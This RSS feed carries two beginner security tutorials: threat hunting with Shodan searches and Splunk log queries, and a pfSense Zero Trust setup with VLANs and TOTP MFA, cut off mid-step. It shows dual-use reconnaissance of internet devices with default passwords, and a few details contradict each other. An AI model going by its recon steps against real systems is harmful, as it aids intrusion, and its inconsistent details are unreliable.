<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kiplagatkelvin on Medium]]></title>
        <description><![CDATA[Stories by Kiplagatkelvin on Medium]]></description>
        <link>https://medium.com/@kiplagatkelvin034?source=rss-b3bace61bccc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BnV84PzAep_YZ7t-IMxLWQ.jpeg</url>
            <title>Stories by Kiplagatkelvin on Medium</title>
            <link>https://medium.com/@kiplagatkelvin034?source=rss-b3bace61bccc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 07:24:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kiplagatkelvin034/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Threat Hunting with OSINT and Splunk: A Hands-on Guide]]></title>
            <link>https://medium.com/@kiplagatkelvin034/threat-hunting-with-osint-and-splunk-a-hands-on-guide-13907a7e2765?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/13907a7e2765</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 06:30:43 GMT</pubDate>
            <atom:updated>2025-02-03T06:30:43.575Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ED_nEsd13M1PN6zf2AtGQ.png" /></figure><h3>Introduction</h3><p>Cyber threats continue to evolve, and organizations must stay ahead of attackers by using proactive security measures. One key approach is <strong>threat hunting</strong>, which involves actively searching for threats within a network rather than waiting for alerts.</p><p>In this hands-on activity, we will use <strong>Open-Source Intelligence (OSINT)</strong> to gather threat data and then analyze security logs using <strong>Splunk</strong> to detect suspicious activity. This guide will walk you through the process using <strong>Kali Linux</strong>, demonstrating how to:</p><ul><li>Perform <strong>OSINT reconnaissance</strong> using <strong>Shodan</strong>.</li><li>Use <strong>Splunk</strong> to ingest and analyze security logs.</li><li>Identify <strong>suspicious activity</strong> based on OSINT findings.</li><li>Propose <strong>mitigation strategies</strong> to strengthen cybersecurity defenses.</li></ul><p>Let’s get started!</p><h3>Variables Needed</h3><p>Before beginning, we must define key <strong>variables</strong> for our analysis:</p><ul><li><strong>Target IP or Device Type</strong> — Identify a specific IP address, device type, or service to investigate.</li><li><strong>Threat Intelligence Indicators</strong> — Suspicious IPs, default credentials, exposed services, or vulnerable systems.</li><li><strong>Security Logs</strong> — Firewall logs, authentication logs, or network traffic logs to analyze.</li><li><strong>Splunk Queries</strong> — Search patterns to detect malicious activity.</li></ul><h3>Tools Used</h3><p>To complete this activity, we will use the following tools:</p><h3>1. OSINT Tool: Shodan</h3><ul><li><strong>Shodan</strong> (<a href="https://www.shodan.io/">https://www.shodan.io</a>) is a search engine that scans and indexes Internet-connected devices.</li><li>Helps identify <strong>exposed services, open ports, and vulnerabilities</strong>.</li></ul><h3>2. Security Information and Event Management (SIEM) Tool: Splunk</h3><ul><li><strong>Splunk</strong> (https://www.splunk.com) is a powerful <strong>SIEM</strong> that collects, analyzes, and visualizes security logs.</li><li>We will use <strong>Splunk Free</strong></li></ul><p><strong>3. Kali Linux</strong></p><ul><li>Kali Linux includes essential tools for <strong>OSINT, penetration testing, and log analysis</strong>.</li></ul><h3>Step 1: Gather Threat Intelligence Using Shodan</h3><h3>1.1 Access Shodan Online</h3><ol><li>Open <strong>Firefox</strong> or any browser.</li><li>Navigate to <a href="https://www.shodan.io/"><strong>Shodan.io</strong></a>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1U_mOtk_s7EWvTimjpOkA.png" /></figure><p><strong>3. Create an account</strong> (if you haven’t already).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z7yez3eG62cSg6IKFNVINA.png" /></figure><h3>1.2 Perform an OSINT Search</h3><p>Use Shodan’s search bar to look for exposed and vulnerable systems:</p><h4><strong>Search for SSH services on port 22</strong>:</h4><pre>port:22</pre><p>it displays more open port : 22</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Esm-HLpJ7rjaJbeOjAC9Qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*CePsHyDGJrIf7jwsPekZKw.png" /></figure><p>united states was leading in term of open port :22 with 20 million results then followed by Germany ,china and the list continue by…</p><p>i checked on the shodan report and vulnerability section is where i was paying attention to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0l-mQLct8PT9WhoRTz6aEw.png" /></figure><h4><strong>SSH Services on Port 22 (port:22):</strong></h4><ul><li><strong>Type of Exposed Devices:</strong> A wide variety of devices expose SSH (Secure Shell) services on port 22. This could include servers (web servers, database servers, file servers), routers, firewalls, network devices, and even embedded systems. The prevalence of SSH on port 22 is because it’s the standard port for remote administration.</li><li><strong>Potential Risks:</strong> Exposing SSH directly to the internet carries significant risks:</li><li><strong>Brute-Force Attacks:</strong> Attackers can attempt to guess usernames and passwords to gain access.</li><li><strong>Vulnerability Exploitation:</strong> If the SSH server software has known vulnerabilities, attackers can exploit them to gain control.</li><li><strong>Man-in-the-Middle Attacks:</strong> If SSH is misconfigured or weak ciphers are used, attackers might intercept communication and steal credentials or manipulate data.</li></ul><p><strong>How Attackers Could Exploit These Systems:</strong></p><p><strong>Gaining Initial Access:</strong> Once an attacker gains access via SSH, they can pivot to other systems on the network.</p><p><strong>Data Breaches:</strong> Attackers can steal sensitive data stored on the compromised server.</p><p><strong>Malware Installation:</strong> Attackers can install malware, such as ransomware or backdoors, to maintain persistence or disrupt operations.</p><p><strong>Denial-of-Service (DoS) Attacks:</strong> Compromised systems can be used as part of a botnet for DDoS attacks.</p><ul><li><strong>Find devices with default passwords</strong>:</li></ul><p>i was curious to check devices with default password.</p><pre>default password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7SRAqJXgBcMS-OI3HoDVmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aME1J3Kn0vlnycOlifBWDw.png" /></figure><p>shodan report states that the vulnerabilties were 17</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XDWNBDToBCUcCYPyM0j5A.png" /></figure><h4><strong>Devices with Default Passwords (default password):</strong></h4><p><strong>Type of Exposed Devices:</strong> Devices using default passwords are often IoT devices (routers, cameras, smart home devices), embedded systems, and older network equipment. These devices are often overlooked in terms of security updates and configuration.</p><p><strong>Potential Risks:</strong> Using default passwords is extremely risky. Attackers can easily find default credentials online or use automated tools to scan for devices with these weaknesses.</p><h4><strong>How Attackers Could Exploit These Systems:</strong></h4><p><strong>Easy Access:</strong> Default credentials provide trivial access to the device, bypassing any other security measures.</p><p><strong>Device Hijacking:</strong> Attackers can take control of the device for malicious purposes, like including it in a botnet.</p><p><strong>Data Theft:</strong> If the device stores or processes data, attackers can access it.</p><p><strong>Network Compromise:</strong> A compromised device on the network can be a stepping stone to other, more critical systems.</p><h4><strong>Identify vulnerable Apache servers</strong>:</h4><pre>product:apache httpd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOI5syhjW2kao5LBQNbryQ.png" /></figure><p>shodan report vulnerabity section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cZzMkvSmgX2CsXVRwngz9Q.png" /></figure><h3><strong>Vulnerable Apache Servers (product:apache httpd):</strong></h3><p><strong>Type of Exposed Devices:</strong> Web servers running the Apache HTTPD software.</p><p><strong>Potential Risks:</strong> Apache, like any software, can have vulnerabilities. These vulnerabilities can range from information disclosure to remote code execution.</p><h4><strong>How Attackers Could Exploit These Systems:</strong></h4><p><strong>Remote Code Execution (RCE):</strong> The most severe vulnerabilities allow attackers to execute arbitrary code on the server, potentially giving them complete control.</p><p><strong>Local File Inclusion (LFI):</strong> Attackers might be able to read sensitive files on the server.</p><ul><li><strong>Cross-Site Scripting (XSS):</strong> Attackers can inject malicious scripts into web pages served by the vulnerable Apache server, potentially targeting users.</li><li><strong>Denial-of-Service (DoS):</strong> Exploits might cause the server to crash or become unavailable.</li></ul><h3>Step 2: Collect and Analyze Data Using Splunk</h3><h3>2.1 Install or Access Splunk</h3><h4>Option 1: Install Splunk Free on Kali Linux</h4><ol><li>Download Splunk from <a href="https://www.splunk.com/en_us/download/splunk-enterprise.html">Splunk Download</a>.</li></ol><h3>Breakdown of the Command:</h3><pre>wget -O splunk.deb &quot;https://download.splunk.com/products/splunk/releases/latest/linux/splunk-latest-linux-2.6-amd64.deb&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IrD8nh9kxDzuK_7oLlycEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-Dco176O0QZv1MOAxJ2dg.png" /></figure><p>2. Install it using:</p><pre>dpkg -i splunk-splunk-9.4.0-6b4ebe426ca6-linux-amd64.deb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruaPDvpwYKRLmXKm4qE4Jw.png" /></figure><p>3. Start Splunk and set an admin password:</p><pre>sudo /opt/splunk/bin/splunk start -accept-license</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qe8YIxxt6AMyMv_4g_PlxQ.png" /></figure><p>4. Open Splunk’s web interface:</p><pre>http://127.0.0.1:8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0Z23UIyXSlXyDfO6vVUcQ.png" /></figure><p>already logged in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUCMtU2gmtWWRMG421_3Ww.png" /></figure><h3>2.2 Ingest Security Logs into Splunk</h3><ul><li>Collect logs from <strong>firewall, authentication, or network traffic</strong>:</li></ul><pre>sudo tail -f /var/log/auth.log sudo cat /var/log/syslog &amp;&amp; sudo tcpdump -i eth0 -w capture.pcap<br></pre><p>it us began capturing the file and we are creating a traffic</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICEcpY76GwgGe2qjfG2B_Q.png" /></figure><h4>Monitor /var/log/auth.log with tail -f:</h4><pre>sudo tail -f /var/log/auth.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcM-Z5nNOSd6vI2Sf8SZPw.png" /></figure><p>This will continuously display the last few lines of /var/log/auth.log and update the output as new entries are added.</p><h4>Collect logs from a network or endpoints</h4><p>Ingest Security Logs:</p><pre>sudo tail -f /var/log/auth.log   # View authentication logs<br>sudo cat /var/log/syslog         # View system logs<br>sudo tcpdump -i eth0 -w capture.pcap   # Capture network traffic</pre><ul><li>Upload logs into <strong>Splunk</strong>.</li></ul><p>to ingest data to splunk the data we had earlier on generated we go <strong>setting</strong> and then <strong>data input </strong>then <strong>Choose the Data Type</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wqxc9PA8j0QPmT_ItazSAA.png" /></figure><ul><li>Select the type of input you want to configure. For example, if you’re uploading a log file from your local machine, choose <strong>Files &amp; Directories</strong>.</li><li>If you’re collecting logs directly from a network or a server, you can choose other inputs like <strong>TCP/UDP</strong> or <strong>HTTP Event Collector</strong>.</li></ul><p><strong>below image display adding data.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*twaD1zs-DGqpVQZdV9eONQ.png" /></figure><h3>2.3 Hunt for Suspicious Activity</h3><p>Use Splunk to analyze security logs and detect threats:</p><ul><li>Go to <strong>Search &amp; Reporting</strong>.</li><li>Run a search query to verify the logs are ingested</li><li><strong>Find failed SSH login attempts</strong>:</li></ul><pre>index=auth | search &quot;Failed password&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9aUuIx-xcs5pfAsGoXdpCw.png" /></figure><p><strong>. Look for privilege escalation attempts</strong>:</p><pre>index=linux_logs | search &quot;sudo su&quot; OR &quot;sudo -i&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6KBwuyXgnfgeG3bFcD7Dg.png" /></figure><h3>Step 3: Mitigation and Remediation</h3><h3>3.1 Mitigation Steps</h3><ol><li><strong>Block malicious IPs</strong> using iptables:</li></ol><pre>sudo iptables -A INPUT -s &lt;malicious_ip&gt; -j DROP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WBgkOezZkOJqFL_J_HQMQ.png" /></figure><p>Your <strong>iptables</strong> rule has been successfully added! 🎉</p><p>The output confirms that <strong>traffic from </strong><strong>192.168.1.100 is now being dropped</strong> because:</p><p>✅ The rule appears in the <strong>INPUT chain</strong><br>✅ <strong>Packets (pkts) and bytes (bytes) count is 0</strong> — This means the blocked IP <strong>hasn’t tried to connect yet</strong></p><p><strong>2. Update security patches</strong>:</p><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><p>obviously update the patch daily if you can</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vaBQKvEKlOgjEu-9ZX5IYg.png" /></figure><p><strong>3. Harden SSH security</strong>:</p><pre>sudo nano /etc/ssh/sshd_config</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvMNAEtgAdfbQHWmi6VkWg.png" /></figure><p>4. Change <strong>Port 22</strong> → Custom Port</p><p>Always <strong>pick a port above 1024</strong> (e.g., 2200, 2222, 2525) to avoid conflicts with system services.</p><ul><li>Locate this line:</li></ul><pre>#Port 22</pre><ul><li>Remove the # and change 22 to a custom port (e.g., 2200 or any unused port above 1024).</li></ul><pre>plaintext Port 2200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gv7PxiQv6VNwt9oVbseJUQ.png" /></figure><h3>Conclusion</h3><p>This hands-on activity demonstrates the importance of combining <strong>OSINT and SIEM tools</strong> to detect cyber threats. By using <strong>Shodan</strong> for reconnaissance and <strong>Splunk</strong> for log analysis, we can identify potential security risks and implement measures to mitigate them.</p><p>Would you like to see more in-depth <strong>Splunk queries</strong> or additional <strong>OSINT tools</strong>? Let me know in the comments! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13907a7e2765" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Practical Guide to Zero Trust Security: Implementing Network Segmentation with pfSense, MFA with…]]></title>
            <link>https://medium.com/@kiplagatkelvin034/a-practical-guide-to-zero-trust-security-implementing-network-segmentation-with-pfsense-mfa-with-adb9c211d237?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/adb9c211d237</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 12:00:09 GMT</pubDate>
            <atom:updated>2025-01-24T12:00:09.120Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Practical Guide to Zero Trust <strong>Security: Implementing Network Segmentation with pfSense, MFA with Authy, and Continuous Monitoring Using Splunk</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*CQUgkjyZ8JSRmqqz_hmPBQ.png" /></figure><p><strong>Introduction</strong></p><p>The aim of this project was to implement a <strong>basic Zero Trust Architecture</strong> as a practical demonstration of modern security principles. Zero Trust operates under the philosophy of “never trust, always verify,” ensuring that every access request is validated and that sensitive resources are segmented from general user access.</p><p>This activity involved three key components:</p><ol><li><strong>Network Segmentation</strong>: Using <strong>pfSense</strong> to create isolated VLANs for general users and sensitive systems, with strict access controls.</li><li><strong>Multi-Factor Authentication (MFA)</strong>: Configuring <strong>Authy</strong> to secure system access with an additional layer of verification beyond passwords.</li><li><strong>Continuous Monitoring</strong>: Using <strong>Splunk</strong> to monitor network activity, detect anomalies, and establish real-time alerts for suspicious behavior.</li></ol><p>By the end of this project, we will achieve:</p><ul><li>A segmented network where general users are restricted from accessing sensitive systems.</li><li>Strong authentication mechanisms that prevent unauthorized access.</li><li>A monitoring system to track user and device activity for proactive threat detection.</li></ul><p>This hands-on activity is designed not only to enhance your technical skills in configuring security tools but also to provide a comprehensive guide for others looking to implement a Zero Trust model. Each step is documented with clear explanations, practical tests (e.g., ping commands), and screenshots to ensure replicability.</p><p><strong>Step 1: Install and Configure pfSense</strong></p><p>The first step is setting up <strong>pfSense</strong> to implement <strong>network segmentation</strong>, which is a cornerstone of Zero Trust Architecture.</p><p><strong>1. Install pfSense</strong></p><ol><li><strong>Download pfSense</strong>:</li></ol><ul><li>Visit <a href="https://www.pfsense.org/download/">pfSense Official Download Page</a>.</li><li>Choose the appropriate installer for your system.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hxnddSJ5Ta3FQBo2ewXPjg.png" /></figure><ol><li><strong>Set Up pfSense in a Virtual Environment (e.g., VMware)</strong>:</li></ol><ul><li>Create a new virtual machine with these configurations:</li><li><strong>CPU</strong>: 2 vCPUs</li><li><strong>RAM</strong>: 4GB</li><li><strong>Storage</strong>: 16GB</li><li>Two <strong>network adapters</strong>:</li><li><strong>WAN</strong>: Connect to your internet source.</li><li><strong>LAN</strong>: Connect to the internal network.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cw2TTVZHku3suKD6c3rhEA.png" /></figure><p>Next to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Nkg9wcsDoDcAM1nw2dsxZg.png" /></figure><ol><li><strong>Boot and Install</strong>:</li></ol><ul><li>Boot the virtual machine with the pfSense ISO.Follow the installation wizard to set up the system.</li><li>Assign network interfaces:</li><li>WAN: Default to your external network.</li><li>LAN: Internal-facing network (default: 192.168.88.1).</li></ul><p>(n/b make sure you create the two adapter one for WAN and the other for LAN)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gdau4blXk066HXCPYer8Mw.png" /></figure><p><strong>Our pfsense is now ready:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BA1tLqgtws77jxfsXnzd7g.png" /></figure><p><strong>Our linux is also ready:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IrzWR7yNOEq-p-kwQeruPA.png" /></figure><p><strong>They both need to communicate first ,so</strong></p><p><strong>I did aping command from linux to pfsense and there was a communication.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JOcXT-VZFJv46XwBJVZAJw.png" /></figure><p><strong>I did another ping scan from pfsense to linux:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*XQyEyBBPrwf-Df_XOqNd5A.png" /></figure><p>They both communicated very well so the next step was to access the pfsense web interface from linux firefox:</p><p><strong>4.Access the Web Interface</strong>:</p><ul><li>Open a browser on a machine connected to the LAN.</li><li>Navigate to <a href="http://192.168.88.1/">http://192.168.88.1.</a></li><li>Log in with the default credentials:</li><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: pfsense</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QqB0zZxJ9A3E2871BRhSqA.png" /></figure><p>Then I logged using the above details to access the pfsense configuration setting.</p><p><strong>2. Create VLANs for Segmentation</strong></p><ol><li><strong>Navigate to VLAN Settings</strong>:</li></ol><ul><li>Go to <strong>Interfaces &gt; Assignments</strong> and click on the <strong>VLANs</strong> tab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oVOUyr6-8zFowJA5GsWlnQ.png" /></figure><ol><li><strong>Create Two VLANs</strong>:</li></ol><p><strong>VLAN 10</strong> (virtual 10 local area network):</p><ul><li>VLAN ID: 10</li><li>Parent Interface: LAN</li></ul><p><strong>VLAN 20</strong> (virtual 20 local area network):</p><ul><li>VLAN ID: 20</li><li>Parent Interface: LAN</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VkksAGilBVgwV546vDNN2Q.png" /></figure><ol><li><strong>Assign VLANs to Interfaces</strong>:</li></ol><ul><li>Under <strong>Interfaces &gt; Assignments</strong>, assign the VLANs created to new interfaces.</li></ul><p>o Go back to <strong>Interfaces &gt; Assignments</strong>.</p><p>o Assign each VLAN to a new interface:</p><ul><li><strong>VLAN 10</strong>: Add as OPT1 and rename it to VLAN 10.</li><li><strong>VLAN 20</strong>: Add as OPT2 and rename it to VLAN 20.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kxuM8TXkzpX1mKLoRPM29g.png" /></figure><p><strong>4.Configure IP Addresses for VLAN Interfaces</strong></p><p><strong>(n/b) for your case you are free to apply your own ip addresses:</strong></p><ol><li>Go to <strong>Interfaces &gt; VLAN 10</strong>:</li></ol><ul><li>Enable the interface.</li><li>Set the static IPv4 address to: 192.168.88.1/25.</li></ul><ol><li>Go to <strong>Interfaces &gt; VLAN 20</strong>:</li></ol><ul><li>Enable the interface.</li><li>Set the static IPv4 address to: 192.168.88.129/25.</li></ul><p>Using the above configuration ,I though they were the best reason for me being that they were under my subnets mask only to receive this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WR7Iwxz_7qom1oFaqBf8nQ.png" /></figure><p>The above error occurs because my WAN and LAN interfaces are already using overlapping IP address ranges (192.168.88.0/24), and my VLANs also fall within the same range. To fix this issue, i need to adjust the IP addressing to avoid overlap.so I used a separate subnet mask</p><p><strong>Use a Separate Subnet for VLANs</strong></p><p>You must use a new IP range for your VLANs that does not overlap with your existing <strong>WAN</strong> or <strong>LAN</strong> subnets. For example:</p><ul><li><strong>WAN</strong>: Keep 192.168.88.131/24 (existing).</li><li><strong>LAN</strong>: Keep 192.168.88.0/24 (existing, if necessary).</li><li><strong>VLAN 10 (General Users)</strong>: Use 192.168.10.0/24.</li><li><strong>VLAN 20 (Sensitive Systems)</strong>: Use 192.168.20.0/24.</li></ul><p>For vlan 10 below it now successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4FLGpqoN4m2GXWXGgqe54Q.png" /></figure><p>For Vlan 20 above is now successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*XDp-OB6vBGQRolMJ_qVMMw.png" /></figure><h4>4. Set DHCP Servers for VLANs</h4><ol><li>Navigate to <strong>Services &gt; DHCP Server</strong>.</li><li>Enable DHCP for each VLAN:</li></ol><ul><li><strong>VLAN 10</strong>:</li><li>Range: 192.168.10.10 to 192.168.10.100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*31CMGEt8Rfah0jooc_JuCg.png" /></figure><ul><li><strong>VLAN 20</strong>:</li><li>Range: 192.168.20.10 to 192.168.20.100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fBq4bujze1MCsfBC-RqLCg.png" /></figure><h4><strong>3. Configure Firewall Rules</strong></h4><ol><li>Navigate to <strong>Firewall &gt; Rules</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IXTaaJpzx-dDmwkdNyyEBw.png" /></figure><p>2.Set up rules for each VLAN:</p><p><strong>VLAN 10</strong>:</p><p>-Allow <strong>internet access</strong>.</p><p>-Block traffic to <strong>VLAN 20</strong>.</p><p><strong>VLAN 20</strong>:</p><ul><li>Restrict access to only necessary services ( database servers).</li></ul><p>Save and apply the changes.</p><p><strong>Below image is for vlan 10 opt1 rules configured:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*1JSm0kuybaBJb7dnV9wNBQ.png" /></figure><p>What I did:</p><p><strong>Create Rules for VLAN 10 (Internet Access):</strong></p><ul><li><strong>Add a new rule:</strong> Click the <strong>Add</strong> button under the “Floating” tab. This will create a new rule at the top of the list.</li><li><strong>Set interface:</strong> Select <strong>OPT1</strong> connected to vlan 10.</li><li><strong>Action:</strong> Choose <strong>Pass</strong> to allow traffic.</li><li><strong>Protocol:</strong> Leave as <strong>Any</strong> to allow all protocols.</li><li><strong>Source:</strong> Set to <strong>any</strong> to allow traffic from any source.</li><li><strong>Destination:</strong> Set to <strong>any</strong> to allow traffic to any destination.</li><li><strong>Port:</strong> Leave as <strong>Any</strong>.</li><li><strong>Gateway:</strong> Leave as <strong>Default</strong>.</li><li><strong>Schedule:</strong> Leave as <strong>Always</strong>.</li><li><strong>Description:</strong> Enter a descriptive name, such as “Allow Internet for VLAN 10”.</li><li><strong>Save</strong> the rule.</li></ul><p><strong>Below image is for vlan 20 opt2 rules configured:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8HPob21n0dQjfiHYiGAWNA.png" /></figure><p>What I did<strong>:</strong></p><p>· Add<strong> a new rule</strong> for the OPT2 interface (as shown in the screenshot).</p><p>· Action<strong>:</strong> Choose <strong>Block</strong> to deny traffic.</p><p>· Protocol<strong>:</strong> Leave as <strong>Any</strong>.</p><p>· <strong>Source:</strong> Set to <strong>any</strong> to block traffic from any source.</p><p>· <strong>Destination:</strong> Set to <strong>any</strong> to block traffic to any destination.</p><p>· <strong>Port:</strong> Leave as <strong>Any</strong>.</p><p>· <strong>Gateway:</strong> Leave as <strong>Default</strong>.</p><p>· <strong>Schedule:</strong> Leave as <strong>Always</strong>.</p><p>· <strong>Description:</strong> Enter a descriptive name, such as “Block all traffic for VLAN 20”.</p><p>· <strong>Save</strong> the rule.</p><h4><strong>4.</strong> Test Network Segmentation</h4><p>Below image shows my pfsense with both configured vlans</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_ApYcu-CIrBZtG5jw8zgaA.png" /></figure><ol><li><strong>Connect Devices</strong>:</li></ol><ul><li>Assign one device (Linux machine) to VLAN 10.</li><li>Assign another device (server) to VLAN 20.</li></ul><ol><li><strong>Run Ping Tests</strong>:</li></ol><ul><li><strong>From VLAN 10, run:</strong></li><li><strong>ping 192.168.20.1</strong></li></ul><p>This should <strong>fail</strong>, indicating restricted access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OTT4Z3YkzzQWxbYlJCsG-w.png" /></figure><ul><li><strong>Ping the pfSense gateway for VLAN 10:</strong></li><li><strong>ping 192.168.10.2</strong></li></ul><p>This should <strong>succeed</strong>, verifying connectivity to the router.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OTT4Z3YkzzQWxbYlJCsG-w.png" /></figure><p>.</p><h3><strong>Step 2: Implement MFA Using google authenticator with OpenVPN</strong></h3><h3><strong>Prerequisites:</strong></h3><p><strong>1.pfSense Setup</strong>: Ensure your pfSense is installed and running.</p><p><strong>2.OpenVPN Package</strong>: Installed and configured on pfSense.</p><p>Install OpenVPN from <strong>System &gt; Package Manager</strong> &gt; Available Packages.</p><p><strong>3.Google Authenticator App</strong>: Downloaded and installed on your mobile device.</p><p><strong>4.FreeRADIUS</strong>: Installed and configured as the authentication server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*G4kcLSl13lFsN-NvVBOOqg.png" /></figure><p><strong>Step-by-Step Guide</strong></p><p><strong>1. Set Up FreeRADIUS for MFA</strong></p><ul><li>Install FreeRADIUS from the pfSense package manager:</li><li>Navigate to <strong>System &gt; Package Manager &gt; Available Packages</strong>.</li><li>Search for “FreeRADIUS” and click <strong>Install</strong>.</li><li>Configure FreeRADIUS:</li></ul><ol><li>Navigate to <strong>Services &gt; FreeRADIUS</strong>.</li><li>Go to the <strong>Users</strong> tab and add a user:</li></ol><ul><li>Username: kelvinkiplagat</li><li>Password: **************</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*C3M5AzZPuODgAyWVniGCKw.png" /></figure><ol><li>Enable <strong>Time-Based One-Time Passwords (TOTP)</strong>:</li></ol><ul><li>In the FreeRADIUS configuration, enable TOTP for the user you created.</li></ul><ol><li>Start the FreeRADIUS service:</li></ol><ul><li>Navigate to <strong>Status &gt; Services</strong>, locate FreeRADIUS, and click <strong>Start</strong>.</li></ul><p><strong>2. Enable OpenVPN on pfSense</strong></p><ul><li>Navigate to <strong>VPN &gt; OpenVPN</strong> and set up a new server:</li><li>Choose the <strong>Wizard</strong> to simplify the configuration.</li><li>Use the RADIUS server (FreeRADIUS) as the authentication backend.</li></ul><p>I went to the diagnostic and I did an authentication test1 and below image show that it was successful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HqwA8HS32OrSrWS7XzMRoA.png" /></figure><p>I went to the diagnostic and I did an authentication test2 and below image show that it was successful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ve4lsmAlOw4gHDR9mlPRxw.png" /></figure><p><strong>3. Configure goohle Authenticator app for TOTP</strong></p><ul><li>Open the app on your mobile device.but in our case we shall be using google authentication</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*RJb5aDEwSo-qYFzOX9ZL9g.png" /></figure><ul><li>Add a new account and manually set it up with the TOTP secret generated by FreeRADIUS.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6KsPuUzsnJvhckXmgjDYCw.png" /></figure><ul><li>A TOTP (6-digit code) will now be generated every 30 seconds.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*m_in54oQsmL0xNMxqSzXpg.png" /></figure><p>This is the google authenticator looks likes in my phone and it keeps changing every 5 seconds</p><h4><strong>4. Test the MFA Integration</strong></h4><ol><li>Connect to the OpenVPN server using a VPN client 